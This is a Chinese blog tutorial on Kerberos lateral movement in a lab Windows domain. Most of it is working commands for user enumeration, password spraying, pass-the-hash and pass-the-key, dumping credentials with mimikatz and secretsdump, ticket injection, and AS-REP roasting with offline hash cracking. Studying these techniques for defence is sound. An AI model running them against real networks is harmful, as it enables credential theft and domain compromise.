首页 > 其他分享 >3.2_域内横移

3.2_域内横移

时间:2024-11-24 10:34:45浏览次数:4  
标签:dn 横移 windows Kerberos 域名 3.2 txt com

  • Kerberos 认证


  1. ​定义: Kerberos 是一种通过传统的密码技术(如:共享密钥)执行认证服务的网络认证协议

  2. 认证流程  

  3. 工具

    工具利用方式
    Kekeo
    1. 请求 TGT 票据
    命令格式  :Tgt::ask /user:域用户 /domain:域名 /password:密码
    Tgt::ask /user:test /domain:dn.com /password:Zhao123456..
    
    2. 请求 TGS 票据
    命令格式  :tgs::ask /tgt:tgt票据 /service:服务名/域名地址  <cifs 文件共享>
    tgs::ask /tgt:TGT_test@DN.COM_krbtgt~dn.com@DN.COM.kirbi /service:cifs/yk.dn.com
    常见错误
    1. 需要额外的预认证(用户存在)但是没有提供密码
    KRB5DC_ERR_PREAUTH_REQUIRED 
    
    2. 客户端凭证已被吊销(禁用)
    KRB5DC_ERR_CLIENT_REVOKED 
    
    3. 在Kerberos数据库中找不到客户端(不存在)
    KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 
    
    4. 用户存在密码错误
    KRB5KDC_ERR_PREAUTH_FAILED

  • Kerberos 协议安全问题


  1. 各阶段的主要漏洞
  2. 详细步骤

AS - REQ

IPC$ + 服务 / 计划任务

详见:2.4_工作组的横向移动-CSDN博客

PTH

(哈希传递攻击)

详见:2.4_工作组的横向移动-CSDN博客

域内用户枚举

# 原理:利用kerberos认证中的错误状态码判断用户是否存在
# 应用场景:工作组打域,可以ping域控,但没有加入域(nslookup不可用)
# 工具:kerbrute_windows_amd64
# 格式:kerbrute_windows_amd64 userenum --dc 域控IP -d 域名 用户字典
kerbrute_windows_amd64 userenum --dc 192.168.142.139 -d dn.com user.txt

密码喷洒

# 原理:利用kerberos认证中的错误状态码判断用户是否存在
# 应用场景:工作组打域,可以ping域控,但没有加入域(nslookup不可用)



# 单密码多用户喷洒
# 工具:kerbrute_windows_amd64
# 格式:kerbrute_windows_amd64 passwordspray --dc 域控IP -d 域名 用户字典 单密码
kerbrute_windows_amd64 passwordspray --dc 192.168.142.139 -d dn.com user.txt  Zhao123456.. 
kerbrute_windows_amd64 passwordspray --dc 10.10.10.155 -d dn.com user.txt  QWEasd123



# 多密码单用户喷洒
# 工具:kerbrute_windows_amd64
# 格式:kerbrute_windows_amd64 bruteuser --dc 域控IP -d 域名 密码字典 单用户名
kerbrute_windows_amd64 bruteuser --dc 192.168.142.139 -d dn.com passwd.txt test

MSF喷洒

指定账号密码文件

msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set smbuser user.txt
msf6 exploit(windows/smb/psexec) > set smbpass password.txt
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.129/24
msf6 exploit(windows/smb/psexec) > run

指定具体账号密码和IP(和上面的搭配使用)

use exploit/windows/smb/psexec
set rhosts 192.168.1.1
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4

PTK(密钥传递攻击)

pass the key

——

利用AES Key 建立认证

# 原理:攻击者可以使用AES密钥来通过Kerberos认证
# 具有 PTH 权限的用户 administrator,domain admins

# 查询域内用户的NTLMHash
命令格式:lsadump::dcsync /domain:域名 /all /csv
例:lsadump::dcsync /domain:dn.com /all /csv

# PTK攻击的应用场景:对方打了补丁拿不到 NTLMHash ↑,转而获取 aes256_hmac ↓


# 第一步:mimikatz 抓取 aes256_hmac
# 方式一:使用 mimikatz 2.2版本
mimikatz "privilege::debug" "sekurlsa::ekeys"

# 方式二:使用 secretsdump
命令: secretsdump.exe 目标域名/有权限的用户名:密码@域控IP
secretsdump.exe dn.com/administrator:QWEasd123@10.10.10.155
命令:secretsdump.exe -hashes :有权限用户hash值 域名/用户名@域控IP

secretsdump.exe -hashes :e45a314c664d40a227f9540121d1a29d dn.com/administrator@ 192.168.142.135



# 第二步:获取票据(aes256_hmac/NTLMHash)
明文:getTGT.exe 域名/用户名:密码@IP
密文:getTGT.exe 域名/用户名 -aesKey aes256_hmac
密文:getTGT.exe 域名/用户名@全域名 -aesKey aes256_hmac
getTGT.exe dn.com/administrator@yk.dn.com -aesKey ff7722bfd2c44797065bfdc3c3a1b354eda38faea463fb98c785019fc1ef8eff 


getTGT.exe 域名/用户名@全域名 -hashes NTLMHash
getTGT.exe dn.com/administrator@yk.dn.com -hashes 5daad4fa0e6a86eb2276352872586969  


# 第三步:注入内存
Kerberos::ptc 票据路径
Kerberos::ptc C:\Users\test\Desktop\administrator@yk.dn.com.ccache

# 第四步:验证:访问域控C盘       
dir  \\yk.dn.com\c$

# 第五步:创建服务进行攻击   



# 其他命令
# mimkatz命令
列出所有票据 :kerberos::list  
列出所有票据(cmd命令):klist
列出tgt票据 :kerberos::tgt  
清除系统中的票据 :kerberos::purge
清除系统中的票据(cmd命令): klist purge (可能会不太好用)

# 其他
impacket生成ccache       mimikatz,kekeo,Rubeus生成kirbi
getTgt生成的是Ccache, Kekeo生成Kirbi

Kerberos::ptc   Kerberos::ptt 
当然两种票据也可以相互转化使用ticketConverter.exe
命令: ticketConverter.exe xxx.Ccache yyy.Kirbi

AS - REP

Roasting

——

破解票据

# 应用场景:勾选不要求Kerberos预身份验证

# 一. 查询 不要求Kerberos预身份验证 的用户
# 1. 在域控主机的 powershell 上 查询勾选了 不要求Kerberos预身份验证 的用户(鸡肋)
# 在域控 poweshell 上执行该命令
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name



# 2. 在域内主机的 powershell 上 查询勾选了  不要求Kerberos预身份验证 的用户
Import-Module .\PowerView.ps1
# 若导入报错无权限写入则执行:Set-ExecutionPolicy RemoteSigned
Get-DomainUser -PreauthNotRequired –Verbose       # 显示详细信息
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose    # 只显示用户名


# 2.1 powershell 一句话命令

powershell -exec bypass -command "& { Import-Module .\PowerView.ps1;Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose}"




# 3.在工作组环境下 查询勾选了  不要求Kerberos预身份验证 的用户
# (4260352 在 ADSI编辑器 - 连接到 - 确认 - Users - 点击对应用户 - 属性 
- useraccountcontrol - 设为4260352)


# 命令格式:adfind -h 域控IP:389 -u 域名\用户名 -up 明文密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4260352" -dn


adfind -h 192.168.142.139:389 -u dn.com\test -up Zhao123456.. -f "useraccountcontrol:1.2.840.113556.1.4.803:=4260352" -dn



# 二. 获取 ENC_PART中的hash
# 1. powershell 上
Import-Module .\ASREPRoast.ps1   
Invoke-ASREPRoast | select -ExpandProperty Hash


# 2. 工具:GetNPUsers
命令格式:GetNPUsers 域名/勾选不要求Kerberos预身份验证的用户名 -no-pass -dc-ip 域控ip -request
GetNPUsers dn.com/administrator -no-pass -dc-ip 192.168.142.139 -request


# 三. 破解hash(虚拟机需大内存)
# 1. hashcat工具   -m 指定破解方法(根据hash的第一个$搜索:)  
# https://hashcat.net/wiki/doku.php?id=example_hashes
# PS:需要在将输出文件内的换行去掉,并且在第二个代表用户的$前,添加$23
hashcat –m 18200 hash文件 密码字典 -–force
hashcat –m 18200 hash.txt pass.txt -–force
hashcat –m 18200 1.txt pass.txt -–force


# 2. john工具
john --wordlist=密码字典 part值
john --wordlist=passwords.txt hash.txt
john --wordlist=pass.txt 1.txt


# 四. 破解密码后的选择
1. 工作组下的横移(IPC$ ,PTH)
2. 申请票据,注入内存,计划任务,服务上线

Golden Ticket

——

伪造票据

(推荐)

详见:

TGS - REQ

TGS - REP

Silver Ticket

——

伪造票据

(推荐)

详见:

Kerberoasting

  1. Kerberoasting 攻击原理:ST票据的加密方式没有采用 AES256 而是采用 MD5 加密,且在 TGS 认证 TGT 的时候,不管用户有没有访问目标服务的权限都会返回目标服务的ST票据;
  2. Server Hash 是 服务器上生成的hash值,分为机器hash 和 域内hash(server 也分为 机器 和 域内 );

详见:

Kerberos 扩展协议

委派

详见:

Kerberos bronze bit

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

标签:dn,横移,windows,Kerberos,域名,3.2,txt,com
From: https://blog.csdn.net/m0_73983897/article/details/143982185

相关文章

  • Nacos2.3.2在ubuntu中的部署
    Nacos2.3.2在ubuntu下的部署下载地址发布历史|Nacos官网https://download.nacos.io/nacos-server/nacos-server-2.3.2.zip修改application.properties文件开启鉴权###开启鉴权功能nacos.core.auth.caching.enabled=true###Theauthsystemtouse,currentlyonly......
  • 【玩转 JS 函数式编程_010】3.2 JS 函数式编程筑基之:以函数式编程的方式活用函数(上)
    写在前面按照惯例,过长的篇幅分开介绍,本篇为JavaScript函数式编程核心基础的第二部分——以函数式编程的方式活用函数的上篇,分别介绍了JS函数在排序、回调、Promise期约、以及连续传递等应用场景下的用法演示。和之前章节相比难度又有一定的提升。准备好了吗?3.2.以......
  • o1 式开源推理链项目 g1:可基于 Llama 3.2-90b 模型
    g1简介g1是一个开源项目,利用Llama3.170b模型在Groq硬件上实现类似OpenAIo1的推理链能力。项目通过精心设计的提示策略引导语言模型进行逐步推理,解决了传统语言模型在逻辑推理方面的不足。工作原理利用动态推理链,逐步引导Llama3.1模型完成复杂逻辑问题模型按......
  • 用户体验分享 | YashanDB V23.2.3安装部署
    近期崖山新版体验过程中,总能看到用户提问:openssl版本问题、monit命令找不到问题、yashan用户权限问题、数据库重装问题今日整理了多位用户的安装经验,希望能够帮助到大家~1.Lucifer三思而后行:YashanDB个人版数据库安装部署2.小周的数据库进阶之路:国产库学习系列之yasha......
  • 文心一言 VS 讯飞星火 VS chatgpt (349)-- 算法导论23.2 8题
    八、Borden教授提出了一个新的分治算法来计算最小生成树。该算法的原理如下:给定图,将划分为两个集合和,使得和的差最多为1。设为端点全部在中的边的集合,为端点全部在中的边的集合。我们递归地解决两个子图和的最小生成树问题。最后,在边集合中选择横跨切割和的最小权重的边来将求出的......
  • 文心一言 VS 讯飞星火 VS chatgpt (348)-- 算法导论23.2 7题
    七、假定图G的一棵最小生成树已经被计算出来。如果在图中加入一个新结点及其相关的新边,我们需要多少时间来对最小生成树进行更新?如果要写代码,请用go语言。文心一言:在图中加入一个新节点及其相关边后,要更新最小生成树(MST),通常意味着需要重新计算包含新节点的最小生成树,因为新节点的加......
  • 文心一言 VS 讯飞星火 VS chatgpt (347)-- 算法导论23.2 6题
    六、假定一个图中所有的边权重均匀分布在半开区间[0,1)内。Prim算法和Kruskal算法哪一个可以运行得更快?如果要写代码,请用go语言。文心一言:在比较Prim算法和Kruskal算法在特定条件下的性能时,我们需要考虑几个因素,主要是图的表示方式、边的数量、顶点的数量以及边的权重分布。由于在......
  • 三星USB 3.2闪存盘上手:性能超400MB/s
    三星作为存储行业的翘楚,不论是品牌影响力还是闪存技术积累,都位于整个行业的头部,为了更好地满足当下快节奏、数字化时代的全面到来,三星存储也推出了新款的USB闪存盘,拥有小巧的身材、强大的性能和海量的存储空间,满足各类用户存储需求。这次我们拿到的两款USB闪存盘分别为三星BARPl......
  • flutter开发将项目从flutter版本3.19.6升级到3.24.3过程遇到问题记录Type 'Unmodifiab
    1.androidstudio修改当个项目的flutter版本,不影响其他项目工程的flutter编译版本1.1项目右上角点击‘设置’图标,选择Settings...进去到项目的设置页面,选择fluttersdk路径1.2项目右上角点击‘设置’图标,选择Settings...进去到项目的设置页面,选择dartsdk路径2.点开打开......
  • 文心一言 VS 讯飞星火 VS chatgpt (349)-- 算法导论23.2 8题
    八、Borden教授提出了一个新的分治算法来计算最小生成树。该算法的原理如下:给定图,将划分为两个集合和,使得和的差最多为1。设为端点全部在中的边的集合,为端点全部在中的边的集合。我们递归地解决两个子图和的最小生成树问题。最后,在边集合中选择横跨切割和的最小权重的边来将求出的......